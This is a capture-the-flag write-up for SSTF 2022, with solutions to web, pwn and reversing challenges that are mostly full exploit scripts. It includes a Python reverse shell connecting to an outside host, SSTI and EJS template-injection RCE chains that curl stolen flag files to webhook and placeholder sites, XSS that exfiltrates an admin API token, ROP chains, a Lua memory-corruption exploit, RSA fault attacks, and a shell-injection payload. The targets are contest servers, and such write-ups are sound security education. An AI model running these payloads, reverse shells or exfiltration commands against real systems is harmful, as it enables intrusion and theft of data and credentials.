# SSTF 2022 Write up
## Web
### Yet Another Injection
We can get source code from hint
`array_push($users, "guest:".hash("sha256", "guest"));` in login.php
So we can login as guest
In index.php, javascript has show_detail()
show_detail() can read xml data and we can do xpath injection
```javascript
show_detail("-1' or @published='no' or Idx/text()='-1");
```
![](https://i.imgur.com/PwRiAdv.png)
### 5degree
```python
import requests
import re
URL = "http://5thdegree.sstf.site/"
cookies = {"session": "71abe21d-a341-42d4-bb4e-bccafe2491b6"}
S = requests.Session()
def start():
r = S.get(URL + "/chal?")
def get_next():
r = S.get(URL + "/chal?")
txt = r.text
m = re.search(r"\\\[ (.*) \\\]", txt)
m2 = re.search(r"y, where \\\( ([-+]?[0-9]+) \\le x \\le ([-+]?[0-9]+)", txt)
return (m.group(1), m2.group(1), m2.group(2))
def convert_str_to_pythoneval(eq_str):
eq = eq_str.replace("^", "**").replace("x", "*x")
return eq
def post_next(min_val, max_val):
r = S.post(URL + "/chal?", data={"min":min_val, "max": max_val})
if "Ooops" not in r.text:
return True
else:
return False
def solve(eq_str, min_val, max_val):
return (min_val, max_val)
start()
for i in range(50):
equation_string, min_val, max_val = get_next()
print(equation_string,min_val, max_val)
# "equation_string = -364x^5 - 260813280x^4 + 521047437232140x^3 + 342926436556601856140x^2 - 126796940609154453656796960x + 596594"
# min_val = is minimum value
# max_val is maximum value to get
s_min_val, s_max_val = solve(equation_string, min_val, max_val)
is_solved = post_next(s_min_val, s_max_val)
if not is_solved:
print(f"Wrong answer for \"{equation_string}\" , the answer sent was min={s_min_val} max={s_max_val} ")
break
```
Use the Following python script to parse the the HTML page and solve the equation using the following logic:
```
1. Take the left/right end points and the points with f'(x) = 0.
2. f'(x) actually has integer roots, so simple sagemath code can factor it easily.
```
### Imageium
Pillow 8.2.0 has vulnerability (CVE-2022-22817)
![](https://i.imgur.com/vVMFZgl.png)
```python
exec('import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("server.sqli.kr",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")')
```
![](https://i.imgur.com/YDTKsQJ.png)
### OnlineNotepad
We have SSTI with `{% %}` and limitation for the character length. Note that server is using FastAPI / Not Flask. As you know, we can use `set`, `include` and arbitrary function execution (but sadly no output) with `{% %}`. So, I made some chaining for RCE using `set` and `include`. While I suffer from char lenght limitation, I found this on starlette's document.
- https://www.starlette.io/requests/
So, I used `request.headers['x']` for bypassing command length limitation.
My payload is like below:
```python
import requests
import os
from binascii import hexlify
from string import printable
from sys import argv
URL = "http://onlinenotepad.sstf.site/memo/"
pw = hexlify(os.urandom(4)).decode()
total_chain = 0
def make_chain(chain, pay):
global total_chain, pw
print("[Chain %d] length: %d"%(total_chain, len(pay)))
data = {"userid":chain,"password":pw,"memo":pay}
conn = requests.post(URL, json=data)
total_chain += 1
#print(conn.json())
return conn.json()
# def command(cmd):
# global total_chain, pw
# pay = '{%endraw%}{%set c=request%}{%include "cdefg.html"%}{%raw%}'
# print("[Command] : %d"%(len(pay)))
# data = {"userid":"bcdef","password":pw,"memo":pay}
# conn = requests.post(URL, json=data)
# return conn.json()
def rce(cmd):
global pw
conn = requests.get(URL+"sqrtrev/"+pw, headers={"x":cmd})
return conn.text
if __name__ == "__main__":
#request.headers['search']
print(pw)
make_chain("sqrtrev", '{%endraw%}{%set a=cycler%}{%include"abcde.html"%}{%raw%}')
make_chain("abcde","{%endraw%}{%set b=a.__init__%}{%include'bcdef.html'%}{%raw%}")
make_chain("bcdef", '{%endraw%}{%set c=request%}{%include "cdefg.html"%}{%raw%}')
# command("echo '%s'>>a"%(x))
make_chain("cdefg", '{%endraw%}{%set d=c.headers%}{%include "ggggg.html"%}{%raw%}')
make_chain("ggggg", "{%endraw%}{%if b.__globals__.os.popen(d['x'])%}{%endif%}{%raw%}")
rce("cat flag | curl https://webhook.site/a2279e70-10fe-4ce6-acf4-e2bc3ade5d9a -X POST --data-binary @-")
```
### JWTDecoder
```
GET / HTTP/1.1
Host: jwtdecoder.sstf.site
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Connection: close
Cookie: jwt=j:{"settings":{"view options":{"outputFunctionName":"x%3bprocess.mainModule.require('child_process').execSync('curl https://yoursite.com/?x=`cat /flag.txt| base64`')%3bs"}}};
Cache-Control: max-age=0
```
send the above request. It will send `jwt` cookie as an object. WE can achieve RCE with this controlled object when its passed to express template. refer to blog https://eslam.io/posts/ejs-server-side-template-injection-rce/
### OnlineEducation
```python
import requests
URL = "http://onlineeducation.sstf.site/"
s = requests.session()
def login(usr, email):
s.post(URL + "/signin", data={"name":usr, "email":email}, allow_redirects=True)
def watch():
s.post(URL + "/status", json={"action": "start"}, allow_redirects=True)
s.post(URL + "/status", json={"action": "finish", "rate":-1}, allow_redirects=True)
login("pingu", "pingu@gmail.com")
watch()
watch()
watch()
print(s.cookies["EduSession"])
```
The workflow to solve the challenge goes as follows:
1. The above script will watch all the videos using `finish_rate=-1` that will immediately finish all the lectures. As a result, it will print out the session cookie value to be reused inside the browser.
2. Since the regex to test email doesn't have `^$` check (i.e check to perform complete match), we can add extra characters after or before a valid email. For example, email can be:
`pingu@gmail.com<script>x=new XMLHttpRequest();x.open('GET','file:///etc/hostname',false);x.send(); document.write(x.responseText);</script>`
Thus, we just had to modify the existing script with such a (malicious) email. When converting HTML to PDF using this payload it will include the content of `/etc/hostname` file inside the generated "certificate".
3. Use this same workflow to leak `config.py` file which contains the `secret_key`:
```
(pingu@gmail.com# should be secret secret_key =
"19eb794c831f30f099a31b1c095a17d6" admin_hash =
"19eb794c831f30f099a31b1c095a17d6" # sample data course_data = {
'name': 'Sample Education', 'author': 'SSTF', 'vids': [ {'name': 'Course 1',
'url': '/static/vids/min_ed1081dfc91fdccefe60094faa633abc.webm', 'type':
'video/webm', 'thumbnail': '/static/vids/min.png', 'length': 60*2, 'desc': '2
mins'}, {'name': 'Course 2', 'url':
'/static/vids/moment_61bfe721895bddf955f30f6ec08e165f.webm', 'type':
'video/webm', 'thumbnail': '/static/vids/moment.png', 'length': 60*15,
'desc': '15 mins'}, {'name': 'Course Final', 'url':
'/static/vids/many_9fa0b0f83487974654530648c79590e2.webm', 'type':
'video/webm', 'thumbnail': '/static/vids/many.png', 'length':
60*60*25+60*15, 'desc': '? mins'}, ], } )
```
4. Use the leaked `secret_key` to create custom cookie value with `is_admin=True`, so we could send it to `/flag` endpoint to receive the flag.
```sh
$ flask-unsign --cookie "{'email': 'foo@foo.com', 'idx': 3, 'is_admin': True, 'name': 'test'}" --secret 19eb794c831f30f099a31b1c095a17d6 -s
eyJlbWFpbCI6ImZvb0Bmb28uY29tIiwiaWR4IjozLCJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6InRlc3QifQ.YwStvQ.e3a0cPfsF1wCSMWv_qNDoq8Di3I
```
![](https://i.imgur.com/s6Sgbad.png)
### DataScience
Create attachment.ipynb with the following code to get XSS
```python
from IPython.core.display import display, HTML
display(HTML("""<select><iframe></select><img src=x onerror=import(`url`)>"""))
```
Exfil the admin's username. It's sub-admin.
then import the following script
```python
fetch("/hub/api/users/sub-admin/tokens", {
"headers": {
"accept": "application/json, text/javascript, */*; q=0.01",
"accept-language": "en-US,en;q=0.9",
"cache-control": "no-cache",
"content-type": "application/json",
"pragma": "no-cache",
"x-requested-with": "XMLHttpRequest"
},
"referrer": "http://datasciencecls.sstf.site/hub/token",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "{\"note\":\"afadsfasdf\",\"expires_in\":null}",
"method": "POST",
"mode": "cors",
"credentials": "include"
}).then(r=>r.text()).then(r=>fetch("https://webhook.site/?a="+encodeURIComponent(r)));
```
Then we have the admin api token. then get the flag with that. why sub-admin token works with admin? idk
`
curl 'http://datasciencecls.sstf.site/user/admin/api/contents/flag' -X 'GET' -H 'Authorization: token 35e595c2253a45e2b19051e05db95a74'`
```
{"name": "flag", "path": "flag", "last_modified": "2022-07-29T10:23:21Z", "created": "2022-08-22T23:24:46.000195Z", "content": "SCTF{I_want_t0_b3_data_speciai1ist}\n", "format": "text", "mimetype": "text/plain", "size": 36, "writable": true, "type": "file"}
```
### CUSES
![](https://i.imgur.com/n3OlnuA.png)
The server checks the structure of decrypted `$_cookie["SESSION"]` is `iv(16byte)|id|sig` and if the `id` is `admin`, sends flag.
So, it uses `aes-128-ctf` for encrypting the cookie with fixed key.
Therefore, we xored `cookie["SESSION"][17:22]` by `"admin" ^ "guest"` after login as guest and gt the flag.
## Pwn
### luqwest
The service provides a game-like interface. One of the features is to load a game. Reverse engineering this feature lead to the conclusion that the provided game script is base64 decoded and passed to the `lua_Load` API. In other words, it is possible to execute arbitrary lua code.
However, attempting to execute malicious code `io.popen` or `os.system` is infeasible because the `io` and `os` globals are not initialized. Taking a look at the initialization code reveals that two functions, `start` and `load` are installed.
```cpp=
lua_pushcclosure(L, start_hook, 0);
lua_setglobal(L, "start");
lua_pushcclosure(L, load_hook, 0);
lua_setglobal(L, "load");
```
Analyzing the load implementation instantly reveals an obvious vulnerability. One of its argument is a raw pointer subject to write. The address of the write(`arg1`) can be fully controlled. The value of the write (`arg2`) is a `char *` where its contents can be fully controlled. In conclusion, we can write a `char *` to any address where the contents of the `char *` can be controlled.
```cpp
int load_hook(lua_State *L)
{
uint64_t arg1; // [rsp+10h] [rbp-10h]
uint64_t arg2; // [rsp+18h] [rbp-8h]
arg1 = get_int(L);
lua_pop(L);
arg2 = get_text(L);
if ( arg2 )
*(uint64_t *)arg1 = arg2;
push_integer(L, arg1);
do_strvec_write(L);
push_integer(L, *(_QWORD *)(arg1 + 8));
return 2;
```
We selected the `Table` structure for the victim of the write. The `Table` structure represents an instance of the `table` data structure in lua, which is conceptually equivalent to objects or dictionaries in Python and JavaScript.
```c
typedef struct Table {
CommonHeader;
lu_byte flags; /* 1<<p means tagmethod(p) is not present */
lu_byte lsizenode; /* log2 of size of 'node' array */
unsigned int alimit; /* "limit" of 'array' array */
TValue *array; /* array part */
Node *node;
Node *lastfree; /* any free position is before this position */
struct Table *metatable;
GCObject *gclist;
} Table;
```
We constructed a strategy based on the following intutition: values in the table are actually stored inside `TValue *array`, and its integer index can be calculated without its contents. Thus, if we change `array` to a pointer whose contents we can control, we can forge arbitrary `TValue` structures by reading fields from the victim table.
Below is a minimal PoC that forges a `CClosure` value and calls it, resulting in an invalid jump to address 0xdeadbeef. Now we have RIP control.
```lua=
victim = {}
address = tonumber(string.format("%p", victim))
tbl2 = {}
tbl3 = {}
tbl3["text"] = p64(0xdeadbeef) .. string.char(0x16)
load(tbl2,tbl3,address+16)
victim[1]()
```
To leak libc, we constructed an aribtrary read primitive using lua String types. Then, using the RIP control primitive, we called an one-gadget.
```lua=
function p64(x)
cur = x
out = ""
for i = 0,7,1
do
out = out .. string.char(cur & 0xFF)
cur = cur >> 8
end
return out
end
pie_leak = tonumber(string.format("%p", load))
elf = pie_leak - 0x42b5
tbl2 = {}
tbl3 = {}
tbl2["onEnter"] = 1
test = {1, 2, 3, 4}
address = tonumber(string.format("%p", test))
startAddress = tonumber(string.format("%p", start))
funcAddress = elf+0x231010
tbl3["text"] = p64(funcAddress) .. string.char(0x44)
load(tbl2,tbl3,address+16)
stdin = string.unpack("<L", string.sub(test[1], 0x9, 0x11))
libc = stdin - 0x3eba00
tbl2 = {}
tbl3 = {}
tbl2["onEnter"] = 1
test = {1, 2, 3, 4}
address = tonumber(string.format("%p", test))
startAddress = tonumber(string.format("%p", start))
funcAddress = libc + 0x10a2fc
tbl3["text"] = p64(funcAddress) .. string.char(0x16)
load(tbl2,tbl3,address+16)
test[1]()
while(1)
do
end
```
### Dr Strange
The service is an one-time encryption service, where the key of the encryption is the flag. I noticed two 'peculiarities'.
* Python's string implementation causes the `ord` method to yield values larger than 255. For example, `ord("ׯ")` is equal to 1519.
* The encryption exponent is dependent on the plaintext.
By using these two properties, I devised a timing based side channel attack to leak the encryption key byte by byte. The vulnerability is caused due to the following lines of code:
```python=
d = (ord(KEY[ i % len(KEY) ]) ^ p) * ord(KEY[ (i+1) % len(KEY) ])
e = (d << p) % 500009
for pad in range (0, 6-len(str(e))): e*=10
o = pow(p, e)
```
The execution time of the last line is highly dependent on `e`. If `p` and `e` are large, its execution time becomes considerably high. However, if `e` is 0, its execution time becomes negligible. `e` becomes 0 if `ord(KEY[ i % len(KEY) ]) ^ p == 500009`. Therefore, if we iterate over `c` and attempt all decryptions such that `p = 500009 ^ c` and select `c` with the smallest execution time, we can leak the flag.
Below is the exploit code ran on the remote box, which leaks a byte of the flag. We couldn't leak the entire flag due to timeouts in the remote box.
```python=
from socket import *
import sys
import base64
import string
import time
def recvuntil(s, b):
data = b""
while True:
data += s.recv(1)
if data.endswith(b):
return data
def encrypt(x):
s = socket(AF_INET, SOCK_STREAM)
s.connect(("0.0.0.0", 31337))
recvuntil(s, b">")
s.send(x.encode() + b"\n")
t = time.time()
recvuntil(s,b"value")
return time.time() - t
def routine(c):
test_str = FLAG[:]
test_str[-1] = chr(ord(c) ^ 500009)
test_str = "".join(test_str)
t = encrypt(test_str)
return t
if __name__ == "__main__":
res = {}
c = sys.argv[2]
FLAG = list(sys.argv[1] + "*")
if routine(c) < 0.1:
print("CORRECT!!!")
else:
print("WRONG!!!")
```
### pppr
The service has a simple buffer overflow, reading 64 bytes into a 4 byte stack variable.
From here, it's just to provide a x86 ropchain, to call `r(buf_in_bss, 128, 0)` to read `/bin/sh` to a known address and then call `x(buf_in_bss)` to finally call `system("/bin/sh")`.
```python=
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "pppr.sstf.site"
PORT = 1337
PROCESS = "./pppr"
def exploit(r):
POP = 0x080485e7
POP3 = 0x80486a9
payload = "A"*12
payload += p32(e.symbols["r"])
payload += p32(POP3)
payload += p32(e.symbols["buf_in_bss"])
payload += p32(128)
payload += p32(0)
payload += p32(e.symbols["x"])
payload += p32(POP)
payload += p32(e.symbols["buf_in_bss"])
r.sendline(payload)
pause()
r.sendline("/bin/sh\x00")
r.interactive()
return
if __name__ == "__main__":
e = ELF("./pppr")
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
else:
LOCAL = True
r = process("./pppr")
print (util.proc.pidof(r))
pause()
exploit(r)
```
### PoWdle
> PoW + wordle challenge
Since it is pwnable challenge, first we have to find a vector to get the shell or read the flag.
This is done by achieving >3000 score and setting email like `'";/bin/sh;"' + '@'*0x780 + '.'*0x780 + ' 1'`.
The front part (`'";/bin/sh;"'`) is to inject command into `os.system` and the remaining part is used to trigger catastrophic backtracking to get timeout so that command injection actually occurs.
There is no other ways to bypass PoWdle puzzle... So I quickly implemented PoWdle solver.
The final exploit code is as below. I've run this code multiple times to get proper score.
```python=
#!/usr/bin/env python3
from pwn import *
from hashlib import sha256
from itertools import product
import string
import random
from timeout_decorator import timeout, TimeoutError
chars = string.ascii_letters + string.digits + string.punctuation
def cand_gen():
length = 1
while True:
for cand in product(chars, repeat=length):
yield ''.join(cand)
length += 1
IP, PORT = "powdle.sstf.site", 9999
context(terminal=["tmux", "split", "-h"], log_level="info", aslr=False)
p = remote(IP, PORT)
p.sendlineafter(b": ", b"\";/bin/sh;\"" + b"@"*0x780 + b"."*0x780 + b" 1")
def find_sth(gen, prefix, goals, available, yellows, prevs):
for cand in gen:
m = sha256((prefix + cand).encode()).hexdigest()[:5]
if m in prevs:
continue
for i, c in enumerate(m):
if c not in available:
break
if goals[i] and goals[i] != c:
break
if c in yellows[i]:
break
else:
for i, s in yellows.items(): [21/18436]
mm = m[:i] + m[i+1:]
if not all(map(lambda x: x in mm, s)):
break
else:
print("{} -> {}".format(prefix + cand, m))
return prefix + cand
@timeout(30)
def round():
global prefix
global cnt
available = set("0123456789abcdef")
yellows = {}
for i in range(5):
yellows[i] = set()
answer = [None]*5
prevs = set()
generator = cand_gen()
p.recvuntil(b"Round")
p.recvline()
prefix = p.recvline().split(b": ")[1].strip().decode()
go = prefix
while True:
data = p.sendlineafter(b": ", go)
cnt = int(data.split(b"#")[1][:-2])
for i in range(cnt - 1):
p.recvline()
res = p.recvline().split(b" \033[0m ")[:-1]
p.recvline()
if b"Try again!" in p.recvline():
current = ""
for i, c in enumerate(res):
current += chr(c[-1])
if c.startswith(b"\033[100m"):
for i in yellows:
yellows[i].discard(chr(c[-1]))
available.discard(chr(c[-1]))
elif c.startswith(b"\033[43m"):
yellows[i].add(chr(c[-1]))
else:
answer[i] = chr(c[-1])
prevs.add(current)
print(available)
print(yellows)
print(answer)
go = find_sth(generator, prefix, answer, available, yellows, prevs)
print("Next: " + go)
else:
break
for _ in range(5):
try:
round()
except TimeoutError:
for i in range(10 - cnt):
p.sendline(prefix)
context(log_level="info")
p.interactive()
```
### pwnkit
Use 1-day exploit -> [link](https://github.com/berdav/CVE-2021-4034)
Or...
1. Run `watch -n 1 ps -aux` on the server.
2. Track all the bash's cwd with `echo $(realpath /proc/[pid]/cwd)`
3. Check interesting codes and exploits.
4. Intercept others' exploit. (In our case, `/tmp/wotmdtit`)
5. Get flag
### Secure Runner & Secure Runner 2
The binary is simple command runner with RSA signing.
Both version have same vulnerability introduced: FSB to overwrite 8 bytes with 0 into heap address.
There are GMP number values in the heap, so we can overwrite some cryptographic numbers used in RSA w/ CRT such as `n`, `p`, `q`, `d_p`, ...
#### Case1: Secure Runner
It uses RSA w/ CRT without any sort of sanity checks.
So we can do fault attack by overwrite `d_p` or `d_q`
```python=
#!/usr/bin/env python3
from pwn import *
import subprocess
local = 0
BIN = "./SecureRunner"
IP, PORT = "securerunner.sstf.site", 1337
context(terminal=["tmux", "split", "-h"], log_level="debug", aslr=False)
if local:
p = process(BIN.split())
# p = process(BIN.split(), env={"LD_PRELOAD":""})
else:
p = remote(IP, PORT)
elf = ELF(BIN.split(" ")[0])
def one_gadget(filename):
return [int(i) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
p.sendlineafter(b" > ", b"2")
n = int(p.recvline().split(b" = ")[1])
e = int(p.recvline().split(b" = ")[1])
p.sendlineafter(b" > ", b"3")
sig = int(p.recvline().split(b" = ")[1])
p.sendlineafter(b" > ", b"9999")
p.sendline(str(-0x110*3))
p.sendline(b"%7$n")
p.sendlineafter(b" > ", b"3")
sig2 = int(p.recvline().split(b" = ")[1])
from Crypto.Util.number import bytes_to_long, long_to_bytes
import math
cmd = b"ls -la /"
P = math.gcd(pow(sig2, e, n) - bytes_to_long(cmd), n)
Q = n // P
d = pow(e, -1, (P-1)*(Q-1))
cmd = b"/bin/sh"
sig = pow(bytes_to_long(cmd), d, n)
p.sendlineafter(b" > ", b"4")
p.sendlineafter(b" > ", cmd)
p.sendlineafter(b" > ", str(sig))
context(log_level="info")
p.interactive()
```
#### Case2: Secure Runner 2
In this case, we cannot forge `p`, `q`, `d_p`, `d_q` since it checks pre-evaluated xor value with the current evaulation result before signing.
But there is another room for fault attack: [link](https://www.normalesup.org/~tibouchi/papers/talk-modulusfault.pdf)
It says a fault in modulus can be harmful.
```python=
#!/usr/bin/env python3
from pwn import *
import subprocess
from sage.all import *
from Crypto.Util.number import getPrime, inverse, bytes_to_long, long_to_bytes
from tqdm import tqdm
local = 0
BIN = "./SecureRunner"
IP, PORT = "eca189e9.sstf.site", 1337
context(terminal=["tmux", "split", "-h"], log_level="debug", aslr=False)
if local:
p = process(BIN.split())
# p = process(BIN.split(), env={"LD_PRELOAD":""})
else:
p = remote(IP, PORT)
elf = ELF(BIN.split(" ")[0])
def one_gadget(filename):
return [int(i) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
p.sendlineafter(b" > ", b"2")
N = int(p.recvline().split(b" = ")[1])
e = int(p.recvline().split(b" = ")[1])
sigs = []
for i in range(6):
p.sendlineafter(b" > ", b"1")
p.sendlineafter(b") > ", str(i).encode())
p.sendlineafter(b" > ", b"3")
sigs.append(int(p.recvline().split(b" = ")[1]))
p.sendlineafter(b" > ", b"9999")
p.sendline(str(-0x110*8))
p.sendline(b"%7$n")
p.sendlineafter(b" > ", b"2")
Nalt = int(p.recvline().split(b" = ")[1])
e = int(p.recvline().split(b" = ")[1])
altsigs = []
for i in range(6):
p.sendlineafter(b" > ", b"1")
p.sendlineafter(b") > ", str(i).encode())
p.sendlineafter(b" > ", b"3")
altsigs.append(int(p.recvline().split(b" = ")[1]))
cmds = [
b"ls -la /",
b"pwd -P",
b"cat /etc/os-release",
b"cat /etc/lsb-release",
b"ls -l /lib/x86_64-linux-gnu/libgmp*",
b"cat /flag",
]
def nthroot(a, n):
return Integer(a).nth_root(n, truncate_mode = True)[0]
msg = list(map(bytes_to_long, cmds))
corr = sigs
tamp = altsigs
res = [crt(corr[i], tamp[i], N, Nalt) for i in range(6)]
N_fin = N * Nalt
M = Matrix(ZZ, 6, 6)
M[0, 0] = N_fin
for i in range(5):
M[i + 1, 0] = - res[i + 1] * inverse(res[0], N_fin)
M[i + 1, i + 1] = 1
M = M.LLL()
sqs = nthroot(N, 2)
for i in range(5):
s = 0
for j in range(6):
s += M[i, j] ** 2
l = nthroot(s, 2)
sc = 1 << 1024
F = Matrix(ZZ, 6, 10)
for i in range(6):
for j in range(4):
F[i, j] = sc * M[j, i]
F[i, 4 + i] = 1
F = F.LLL()
vec1 = [F[0, i] for i in range(4, 10)]
vec2 = [F[1, i] for i in range(4, 10)]
flag = False
for s in tqdm(range(-100, 100)):
for t in range(-100, 100):
gg = N
for i in range(6):
cc = res[i] - (s * vec1[i] + t * vec2[i])
gg = GCD(gg, abs(cc))
if gg != 1 and gg != N:
print("FOUND")
flag = True
break
if flag:
break
if not flag:
print(hex(N))
print(hex(Nalt))
print(list(map(hex, sigs)))
print(list(map(hex, altsigs)))
print(cmds)
exit()
P = gg
Q = N // gg
d = pow(e, -1, (P-1)*(Q-1))
cmd = b"/bin/sh"
sig = pow(bytes_to_long(cmd), int(d), int(N))
p.sendlineafter(b" > ", b"4")
p.sendlineafter(b" > ", cmd)
p.sendlineafter(b" > ", str(sig))
context(log_level="info")
p.interactive()
```
The algorithm to find the reduced basis for the orthogonal basis is from [here](https://eprint.iacr.org/2020/461.pdf)
### riscy
Just easy ROP on `riscv:64`
```python=
from pwn import *
main = 0x104AE
'''
43c14: 70e2 ld ra,56(sp)
43c16: 7502 ld a0,32(sp)
43c18: 6121 addi sp,sp,64
43c1a: 8082 ret
'''
gadget1 = 0x43c14
'''
41782: 832a mv t1,a0
41784: 60a6 ld ra,72(sp)
41786: 6522 ld a0,8(sp)
41788: 65c2 ld a1,16(sp)
4178a: 6662 ld a2,24(sp)
4178c: 7682 ld a3,32(sp)
4178e: 7722 ld a4,40(sp)
41790: 77c2 ld a5,48(sp)
41792: 7862 ld a6,56(sp)
41794: 6886 ld a7,64(sp)
41796: 2546 fld fa0,80(sp)
41798: 25e6 fld fa1,88(sp)
4179a: 3606 fld fa2,96(sp)
4179c: 36a6 fld fa3,104(sp)
4179e: 3746 fld fa4,112(sp)
417a0: 37e6 fld fa5,120(sp)
417a2: 280a fld fa6,128(sp)
417a4: 28aa fld fa7,136(sp)
417a6: 6149 addi sp,sp,144
417a8: 8302 jr t1
'''
gadget2 = 0x41782
'''
43a86: e11c sd a5,0(a0)
43a88: 60a2 ld ra,8(sp)
43a8a: 0141 addi sp,sp,16
43a8c: 8082 ret
'''
gadget3 = 0x14944
ecall = 0x268D0
p = remote('riscy.sstf.site', 18223)
pay = b'A' * 0x28
pay += p64(gadget1)
pay += b'A' * 32
pay += p64(gadget3) # ra
pay += b'A' * 16
pay += p64(gadget2) # a0
pay += p64(0) # +0
pay += p64(0x6D000) # a0 +8
pay += p64(0) # a1 +16
pay += p64(0) # a2 +24
pay += p64(int.from_bytes(b'/bin/sh\x00', 'little')) # a3 +32
pay += p64(0x6D010) # a4 +40
pay += p64(0) # a5 +48
pay += p64(0) # a6 +56
pay += p64(221) # a7 +64
pay += p64(ecall) # ra +72
pay += p64(0) # fa0
pay += p64(0) # fa1
pay += p64(0) # fa2
pay += p64(0) # fa3
pay += p64(0) # fa4
pay += p64(0) # fa5
pay += p64(0) # fa6
pay += p64(0) # fa7
######################## 256 end here
pay += p64(0)
p.sendafter(b':', pay)
p.interactive()
```
## Rev
### Crack Me!
Whatever the encoding algorithm the binary has, we can get encoding result by breakpoint to `0x29EF` and see `*(rdi+0x20)`. After some guessing with various input, only 1~2 bytes of input effects to 1~2 bytes of output.
So, we solved by making table of input-output pair by bruteforce.
```python=
from pwn import *
import multiprocessing
def job(i):
print(i)
p = process(["gdb", "./crackme"])
p.sendlineafter("(gdb) ", "b *0x00005555555569f3")
d = {}
for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_":
p.sendlineafter("(gdb) ", "r")
p.sendlineafter(" : ", i + j)
p.sendlineafter("(gdb) ", "x/s $rdi")
if i == j:
d[p.recvline().split(b":\t")[1].strip()[1:-1].decode()[:2]] = i
else:
d[p.recvline().split(b":\t")[1].strip()[1:-1].decode()] = i + j
p.sendline("q")
p.close()
return d
pool_obj = multiprocessing.Pool(5)
res = pool_obj.map(job, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_")
d = {}
for i in res:
d = {**d, **i}
enc = "ubx1uP9vh@kq9xXxF4Cxp93u319085"
flag = ""
for i in range(15):
flag += d[enc[2*i:2*i+2]]
print(flag)
```
### Flag Digging
`Have you ever stolen 3d asset rendered in WebGL?`
First, we deobfuscated the Javascript code and started analysing it. After lots of "digging", we found a routine used for drawing triangles and reduced the hardcapped number of objects to be drawn to half:
![](https://i.imgur.com/PVCwukM.png)
As a result, we got a partially rendered model, with a readable flag:
![](https://i.imgur.com/AljMEEy.png)
### Maze Adventure
`Finally, I developed 3d maze adventure game. I think it will be very difficult to defeat final stage without any game cheat or wonderful maze solving skill.`
There were 3 levels of a maze, where it was virtually impossible to pass all of them (to get the flag) without any cheating. Started with the `GameConqueror` and had some partial success in passing the requirements (e.g. increasing the time limit and money), but we were stuck on how to actually pass the last (3rd) level.
![](https://i.imgur.com/Wj2Ku5H.png)
After lots of in-memory digging, we started to analyse the game files and files being written to the disk. At the end, we found out that game is using LevelDB to store current game status (for resume on game reload).
For "cheating" purposes, we did the following:
```sh
$ python3 -m pip install plyvel
Installing collected packages: plyvel
Successfully installed plyvel-1.4.0
$ python3
Python 3.10.4 (main, Jun 29 2022, 12:14:53) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import plyvel
>>> db = plyvel.DB('/home/stamparm/.config/maze-adventure/Local Storage/leveldb', create_if_missing=False)
>>> [_ for _ in db.iterator()]
[(b'META:file://', b'\x08\xcc\xf4\x84\xb2\xa3\xae\xd1\x17\x10f'), (b'VERSION', b'1'), (b'_file://\x00\x01MONEY', b'\x010'), (b'_file://\x00\x01PATHFINDER_ENABLED', b'\x01false'), (b'_file://\x00\x01STG_ACCESS_INFO', b'\x01[true,false,false,false]'), (b'_file://\x00\x01TIME_LIMIT', b'\x01120'), (b'_file://\x00\x01WALK_SPEED', b'\x011')]
>>> db.put(b'_file://\x00\x01PATHFINDER_ENABLED', b'\x01true')
>>> db.put(b'_file://\x00\x01STG_ACCESS_INFO', b'\x01[true,true,true,true]')
>>> db.put(b'_file://\x00\x01TIME_LIMIT', b'\x0111120')
>>> db.put(b'_file://\x00\x01WALK_SPEED', b'\x0150')
>>> db.put(b'_file://\x00\x01MONEY', b'\x012147483647')
>>> db.close()
```
Notice that additionally to obvious `MONEY`, `WALK_SPEED` and `TIME_LIMIT` we also modified the values for `PATHFINDER_ENABLED` (boolean value enabling nice "pathfinder" functionality inside the game) and `STG_ACCESS_INFO` (array of boolean values giving playing access to levels). At the end, we reloaded the game, started to play the 3rd level and just followed the path-finding route.
At the end, we succeeded in getting the flag from the menu (by having all requirements satisfied):
![](https://i.imgur.com/UEA1Nb9.png)
### DocxArchive
After extracting the docs file by magic of 7zip, there is a suspicious file `word\embeddings\oleObject1.bin`. After 7zip magic once more, there is EMF file called `Open-Me.bin` in `[1]Ole10Native`. We can see the flag after removing some data for proper emf file.
<img src="https://i.imgur.com/JWWXFiU.png" alt="drawing" width="300"/>
### Facing Worlds
This wav file has two channel and two channel's wave is different. Let's mix these two channel and remove the common part.
https://cdn.discordapp.com/attachments/816203216751558678/1011563880679481365/unreal_mix.wav
In each interval, make sound is 1 otherwise 0.
<img src="https://i.imgur.com/GSy25yD.png" alt="drawing" width="300"/>
`11001010110000100010101001100010110111101010101001110110010011101100110010000110001100101111101001001100111110101110011000001100111110100100011000000010110001101101011011111010100101100111001011111010001010101001011010110110110011001011111`
Revert and int to bytes give us flag.
`SCTF{Unr3aL_2_g0_b@ck_iN_Tim3}`
### holdthedoor
Auto reverse the class file and find the correct path.
But there are some wrong path, 1) results "Nope" Exception, 2) unreachable path because of impossible key.
With simple code parser for decompiled code from jd-gui and perform DFS, we can get flag.
```python=
d = {}
import math
for i in range(0, 2001):
if i == 981:
f = open("Last.java", "rt").readlines()
else:
f = open("C%d.java"%(i), "rt").readlines()
info = {}
j = 0
while True:
if f[j].find("extends") != -1:
l = f[j].split(" ")[-1].strip()
extend = l
break
j += 1
j = 6
while True:
l = f[j][8:].strip()
if l.startswith("throw new"):
info[f[j-1].split("void ")[1].split("(")[0]] = ""
elif l.startswith("code.append("):
info[f[j-1].split("void ")[1].split("(")[0]] = l.split('"')[1]
else:
break
j += 5
for k in range(5):
if not "f%d"%(k) in info:
info["f%d"%(k)] = d[extend]["f%d"%(k)]
